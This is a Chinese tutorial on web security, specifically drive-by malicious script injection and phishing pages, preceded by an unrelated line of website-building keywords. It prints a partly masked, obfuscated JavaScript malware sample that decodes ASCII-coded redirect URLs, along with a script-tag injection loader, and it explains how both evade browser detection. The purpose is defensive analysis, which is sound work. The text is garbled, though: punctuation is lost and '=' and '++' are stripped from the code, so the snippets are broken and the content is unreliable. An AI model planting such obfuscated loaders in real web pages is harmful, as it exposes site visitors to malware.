不用买服务器可以做网站,wordpress 不同侧边栏,做免费外贸网站册域名,南昌vr网站开发今天#xff0c;我们来讲一下Web安全#xff01;
本文章仅提供学习#xff0c;切勿将其用于不法手段#xff01;
目前#xff0c;在渗透测试领域#xff0c;主要分为了两个发展方向#xff0c;分别为Web攻防领域和PWN#xff08;二进制安全#xff09;攻防领域。Web…今天我们来讲一下Web安全
本文章仅提供学习切勿将其用于不法手段
目前在渗透测试领域主要分为了两个发展方向分别为Web攻防领域和PWN二进制安全攻防领域。Web 攻防领域涉及到一些知识点本系列教程就来科普一下这些知识点。
接上一篇文章《渗透测试之Web安全系列教程一》我们来继续渗透讨论一下Web安全
在上一篇文章中我们提到过同源策略、XSS注入漏洞、网页挂马等相关安全内容
我们重点强调了学习渗透测试知识的目的
我们了解攻击技术原理是为了使渗透测试行为变得更加有效是为了能够更好的进行信息安全防御绝不是为了去进行违法犯罪行为
现在我们来继续讲一下来自网页内容威胁的两个方向网页挂马、网页钓鱼
网页挂马是指在正规合法网站的网页内容中嵌入恶意脚本内容去实施木马攻击行为
网页钓鱼是指仿冒伪装成正规合法网站的网页内容去实施网页诈骗行为
无论是网页挂马还是网页钓鱼危害都是非常巨大的
如何避免在浏览器中进行网络冲浪时遭受网页挂马和网页钓鱼攻击呢
很多浏览器都带有 恶意网址拦截 功能这类功能的技术实现通常是基于 黑名单机制 的
通过浏览器的恶意网址拦截功能我们可以避免很多针对恶意网址的网络访问行为。
但是由于浏览器的恶意网址拦截功能是基于 黑名单机制 的也就意味着未被记录进 黑名单 中的 恶意网址可能无法被 浏览器 成功拦截
Google 公司对外开放了 SafeBrowsing API用以及时公布最新的恶意网址名单信息。
除了 浏览器 自带的 恶意网址拦截 黑名单机制还有一项保障浏览器用户的网络访问行为安全的相关技术那就是 EV SSL 证书技术对于危险网址EV SSL 证书技术 将会显示为 红色 对于安全网址EV SSL 证书技术 将会显示为 绿色。
接下来让我们观察一篇恶意代码中的部分内容分析一下它是如何躲避浏览器的恶意代码检测的
this.globalThis || (this.globalThis this); function decodeStr(e) { var d, c, b; if (!e) { return } for (d e[0], c e.split(d), b 0; b c.length; b) { c[b] (c[b] String.fromCharCode(c[b])) } return c.join() } window.android_url decodeStr( |104|116|116|112|115|58|47|47|*|119|101|*|117|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|* ); window.ios_url decodeStr( |104|116|116|112|115|58|47|47|*|112|112|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|*|* ); 通过观察上面的恶意代码我们可以获知当前恶意代码使用了数据加密技术
上面的恶意代码采用了代码混淆机制
注意为了避免大家去误操作性地去访问恶意网址相关代码内容已进行了数据脱敏处理
上面的恶意代码通过使用自定义的 decodeStr 函数来实现加密数据的还原操作
想要了解上面的恶意代码做了些什么我们就必须了解上面的代码内容含义是什么
通过观察我们获知加密数据是以数字形式存储的那么我们不禁想到了 ASCII 编码
ascii 码 104 对应的字符是 h 。
ascii 码 116 对应的字符是 t 。
ascii 码 112 对应的字符是 p 。
ascii 码 115 对应的字符是 s 。
ascii 码 47 对应的字符是 / 。
通过上述的观察我们可知代码混淆 使用的是 ASCII编码序列技术
现在让我们来科普一下 globalThis 的作用和价值是什么
全局属性 globalThis 包含全局对象 this 的 值你可以理解为类似于全局对象global object
说到 全局对象让我们来复习一下 C语言编程 中的 全局变量 概念
是的没错全局变量的作用域是全局的
全局对象的作用域也是全局的
globalThis 提供了一种抽象化的、以标准化方式去获取不同环境中的全局 this 对象也就是全局对象自身的途径。区别于 window 或者 self 这些浏览器对象属性globalThis 可以在有窗口或者无窗口的各类型环境中正常使用。你可以较为放心地使用 globalThisglobalThis 实现了运行环境无关化。您仅须记住全局作用域环境中的 this 对象即是 globalThis
我们再来观察看看下面的恶意代码内容
(function() { var hm document.createElement(script); hm.src 跨域JS脚本的URL地址; var s document.getElementsByTagName(script)[0]; s.parentNode.insertBefore(hm, s); })();
上面的代码内容作用是什么
是动态创建并添加一个 script 标签并去解析标签中的内容
恶意脚本就是如此规避检测的恶意脚本就是如此悄悄的潜入你的浏览器并去执行恶意代码的
想要防御来自互联网世界的恶意攻击我们就必须做到了解对方是如何地去实施攻击的
在进行代码审计工作时在进行渗透测试行为时当我们发现某个网页文件的内容中包含有类似上述代码内容那么通常意味着这个网页文件的内容是可疑的这个网页文件的内容安全性是需要进行深入鉴定的